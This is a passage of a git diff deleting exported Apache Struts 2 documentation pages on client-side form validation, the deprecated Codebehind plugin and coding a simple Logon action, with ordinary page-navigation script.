-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14059">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework adds support for client-side validation on top of the standard validation framework.</p><p>Client-side validation can be enabled on a per-form basis by specifying <code>validate="true"</code> in the <a shape="rect" href="form.html">form</a> tag.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form name="test" action="javascriptValidation" validate="true"&gt;
-  ...
-&lt;/s:form&gt;
-</pre>
-</div></div><p>If a <code>name</code> for the form is not given, the action mapping name will be used as the form name. Otherwise, a correct <code>action</code> and <code>namespace</code> attributes must be provided to the <code>&lt;saf:form&gt;</code> tag.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Referencing "submitProfile" in the "/user" namespace</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form namespace="/user" action="submitProfile" validate="true"&gt;
-  ...
-&lt;/s:form&gt;
-</pre>
-</div></div><p>Technically, the form's action attribute can refer to a "path" that includes the namespace and action as a URI. But, client-side validation <strong>requires</strong> that the action name and namespeact to be set separately.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Won't work with client-side validation!</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form action="/user/submitProfile.action" validate="true"&gt;
-  ...
-&lt;/s:form&gt;
-</pre>
-</div></div><p>All the usual <a shape="rect" href="validation.html">validation configuration</a> steps apply to client-side validation. Client-side validation uses the same validation rules as server-side validation. If server-side validation doesn't work, then client-side validation won't work either.</p><div class="confluence-information-macro confluence-information-macro-information"><p class="title">The left hand doesn't know ...</p><span class="aui-icon aui-icon-small aui-iconfont-i [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/client-validation.html b/content/docs/client-validation.html
deleted file mode 100644
index 73e71b3..0000000
--- a/content/docs/client-validation.html
+++ /dev/null
@@ -1,150 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Client Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="client-validation.html">Client Validation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Client Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13895">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13895">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13895">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13895">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13895">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13895">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Let's create a Client-Side validation workflow, step by step.</p><p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> The <code>validate</code> attribute is set to <code>true</code>.</p><p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluen [...]
-   &lt;s:textfield label="Name" name="name"/&gt;
-   &lt;s:textfield label="Age" name="age"/&gt;
-   &lt;s:textfield label="Favorite color" name="answer"/&gt;
-   &lt;s:submit/&gt;
-&lt;/s:form&gt; 
-</plain-text-body><p>While the following will "work" in the sense that the form will function correctly, <strong>client-side validation will not</strong>. That is because Struts must know the exact namespace and action (rather than a URL) to properly support validation.</p><parameter ac:name="">XML</parameter><plain-text-body>&lt;s:form method="post" validate="true" action="/validation/quizClient.action"&gt;
-   &lt;s:textfield label="Name" name="name"/&gt;
-   &lt;s:textfield label="Age" name="age"/&gt;
-   &lt;s:textfield label="Favorite color" name="answer"/&gt;
-   &lt;s:submit/&gt;
-&lt;/s:form&gt; 
-</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/codebehind-plugin.html b/content/docs/codebehind-plugin.html
deleted file mode 100644
index 38fd3ba..0000000
--- a/content/docs/codebehind-plugin.html
+++ /dev/null
@@ -1,205 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Codebehind Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="codebehind-plugin.html">Codebehind Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Codebehind Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29637">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29637">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29637">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29637">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29637">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29637">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Deprecated Plugin</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Since 2.1 this plugin has been deprecated in favor of the <a shape="rect" href="convention-plugin.html">Convention Plugin</a>. See <a shape="rect" href="converting-application-from-codebehind-to-convention-plugin.html">this page</a> for details on how to port your application to the Convention plugin.</p></div></div>
-
-<p>The Codebehind Plugin reduces mundane configuration by adding "Page Controller" conventions. </p>
-
-<p>There are two common situations where the plugin applies convention over configuration:</p>
-
-<ol><li><strong>Default mappings</strong> - (or "pages with no mappings") These are cases where the page is mostly static and doesn't require an Action class to execute logic.  Common examples are index pages and those that heavily use JSP tags or JSF components.</li><li><strong>Default results</strong> - The purpose of most Actions is to execute code to prepare the data for a specific page. The name of this page is often the same as the Action itself.</li></ol>
-
-
-<p>To improve the first case, the plugin will detect the presence of a page with no corresponding Struts mapping and automatically substitute a mapping that uses the default Action class for the package, which is usually ActionSupport, a NO-OP Action.  </p>
-
-<p>For the problem of default results, the plugin will make it unnecessary to define those results by detecting the presence of a page for that Action and creating the appropriate configuration on-the-fly. </p>
-
-<p>In these two ways, the plugin encourages a page-based development style, handling the linking of Struts actions with pages and pages with Results in a common way.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> To see the plugin in action, review the "Person Manager" example in the Showcase application.</p>
-
-<h2 id="CodebehindPlugin-Features">Features</h2>
-
-<ul><li>Provides default mappings for pages that don't have Actions</li><li>Provides default results by auto-discovering pages</li></ul>
-
-
-<h2 id="CodebehindPlugin-Usage">Usage</h2>
-
-<p>To use this plugin, simply copy its jar into your application.  The plugin can be used to find default mappings and results.</p>
-
-<h3 id="CodebehindPlugin-DefaultMappings">Default Mappings</h3>
-
-<p>To better facilitate a code-behind development approach, the plugin will detect the case where the request has no defined Struts action mapping, yet there exists a corresponding page.  It will then create a dummy action mapping referencing the default Action class (usually ActionSupport), allowing the page to be displayed normally.  Additionally, the default interceptor stack for the configured package will be applied, bringing the workflow benefits of interceptor stacks to simple pages.</p>
-
-<p>When no explicitly configured Action can be found for a request, the plugin searches the web application for a likely page. Specifically, the following pattern is used to locate a page:</p>
-
-<p><code>/NAMESPACE/ACTION.(jsp|vm|ftl)</code></p>
-
-<p>For example, if the request is for <code><a shape="rect" class="external-link" href="http://www.company.com/myapp/member/login.action" rel="nofollow">http://www.company.com/myapp/member/login.action</a></code>, the plugin will look for the following pages, in this order: </p>
-
-<ol><li><code>/member/login.jsp</code></li><li><code>/member/login.vm</code></li><li><code>/member/login.ftl</code></li></ol>
-
-
-<p>If any of those pages are found, the plugin will construct an ActionConfig object on the fly, using the ActionSupport class for the Action and a single Result that points to the discovered page.  The ActionConfig will be put in the configured package, meaning that it will inherit the default Interceptor stack for that package.  The default package is <code>codebehind-default</code>, however, it can be configured in any <a shape="rect" href="constant-configuration.html">configuration f [...]
-
-<h3 id="CodebehindPlugin-DefaultResults">Default Results</h3>
-
-<p>In many applications, a majority of Results could have the same root name as the action mapping.  To reduce this unnecessary configuration, the Struts plugin will try to guess the appropriate Result, if none is explicitly configured.  This technique works for any result code, including <code>success</code>. When combined with the <a shape="rect" href="zero-configuration.html">Zero Configuration</a> style, the amount of configuration in an application dwindles to next to nothing.</p>
-
-<p>When no explicitly configured Result is found for an Action's result code, the plugin, again, searches the web application for a matching page. Specifically, the following patterns, in the following order, are used to locate a page:</p>
-
-<ol><li><code>/NAMESPACE/ACTION-RESULT_CODE.(jsp|vm|ftl)</code></li><li><code>/NAMESPACE/ACTION.(jsp|vm|ftl)</code></li></ol>
-
-
-<p>These two patterns are searched for each of the three default page extensions: jsp, vm, and ftl.  For example, if the request is for <code><a shape="rect" class="external-link" href="http://www.company.com/myapp/member/login.action" rel="nofollow">http://www.company.com/myapp/member/login.action</a></code>, so that the action name is <code>login</code> and the namespace is <code>member</code>, and the Action class returned a code of <code>success</code>, the plugin will look for the f [...]
-
-<ol><li><code>/member/login-success.jsp</code></li><li><code>/member/login.jsp</code></li><li><code>/member/login-success.vm</code></li><li><code>/member/login.vm</code></li><li><code>/member/login-success.ftl</code></li><li><code>/member/login.ftl</code></li></ol>
-
-
-<p>If any of those pages are found, the appropriate Result will be constructed and processed.</p>
-
-<h3 id="CodebehindPlugin-Settings">Settings</h3>
-
-<p>The following settings can be customized.  See the <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/display/WW/Configuration+Files">developer guide</a>.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Setting</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Description</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Default</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Possible Values</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p><code>struts.codebehind.defaultPackage</code></p></td><td colspan="1" rowspan="1" [...]
-
-
-<h3 id="CodebehindPlugin-Installation">Installation</h3>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  No other files need to be copied or created.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/coding-actions.html b/content/docs/coding-actions.html
deleted file mode 100644
index cdb5206..0000000
--- a/content/docs/coding-actions.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Coding Actions</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="coding-actions.html">Coding Actions</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Coding Actions</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13986">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13986">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13986">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13986">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13986">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13986">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>In the <a shape="rect" href="using-tags.html">Using Tags</a> lesson, we implemented a Logon form. In the <em>Coding Actions</em> lesson, we interpret the Logon form, and return a different result code depending on the circumstances. </p>
-
-<p>If you have coded along, you can open the Logon action</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/tutorial/Logon.action</pre>
-</div></div>
-
-<p>and enter a likely username and password. Since we haven't given the Action any behavior, the mapping redisplays the default <code>Logon.jsp</code> page. </p>
-
-<p>Let's add an Action class that will make the Logon form more interesting. </p>
-
-<h2 id="CodingActions-TheCode">The Code </h2>
-
-<p>Just as an example, we can examine the username and password values. If either or both properties are empty, return INPUT, so that we can collect a valid Logon. Otherwise, return SUCCESS. </p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>Logon.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package tutorial;
-import com.opensymphony.xwork2.ActionSupport;
-public class Logon extends ActionSupport {
-
-    public String execute() throws Exception {
-        if (isInvalid(getUsername())) return INPUT;
-        if (isInvalid(getPassword())) return INPUT;
-        return SUCCESS;
-    }
-
-    private boolean isInvalid(String value) {
-        return (value == null || value.length() == 0);
-    }
-
-    private String username;
-    public String getUsername() {
-        return username;
-    }
-    public void setUsername(String username) {
-        this.username = username;
-    }
-
-    private String password;
-    public String getPassword() {
-        return password;
-    }
-    public void setPassword(String password) {
-        this.password = password;
-    }
-
-}
-</pre>
-</div></div>
-
-<h2 id="CodingActions-HowTheCodeWorks">How The Code Works</h2>
-
-<p>The framework automatically populates the username and password properties for us. All that's left to do is checking to see if either property is empty. </p>
-
-<h2 id="CodingActions-WhattoRemember">What to Remember</h2>
-
-<p>The Actions do the "heavy lifting" in a web application. Actions interact with data base systems and business rule engines, so that we can turn "billboard" HTML into a rich, dynamic web experience. </p>
-
-<p>After doing its work, an Action returns a result code to indicate what the framework should do next. Often, the next step is to go onto the "success" result. Other times, we might need to go to an "error" result instead. In either case, the Action does not worry about generating the response, only deciding which logical result to present next.</p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more about Actions, see <a shape="rect" href="big-picture.html">Big Picture</a> in the Core Developers Guide.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Onward to <a shape="rect" href="selecting-results.html">Selecting Results</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Return to <a shape="rect" href="using-tags.html">Using Tags</a> </p></td></tr></tbody></ta [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/coding-struts-2-actions.data/hellobruce.png b/content/docs/coding-struts-2-actions.data/hellobruce.png
deleted file mode 100644
index 835e1a8..0000000
Binary files a/content/docs/coding-struts-2-actions.data/hellobruce.png and /dev/null differ
diff --git a/content/docs/coding-struts-2-actions.data/personalhello.png b/content/docs/coding-struts-2-actions.data/personalhello.png
deleted file mode 100644
index 6045372..0000000
Binary files a/content/docs/coding-struts-2-actions.data/personalhello.png and /dev/null differ
diff --git a/content/docs/coding-struts-2-actions.html b/content/docs/coding-struts-2-actions.html
deleted file mode 100644
index 460c5de..0000000
--- a/content/docs/coding-struts-2-actions.html
+++ /dev/null
@@ -1,213 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
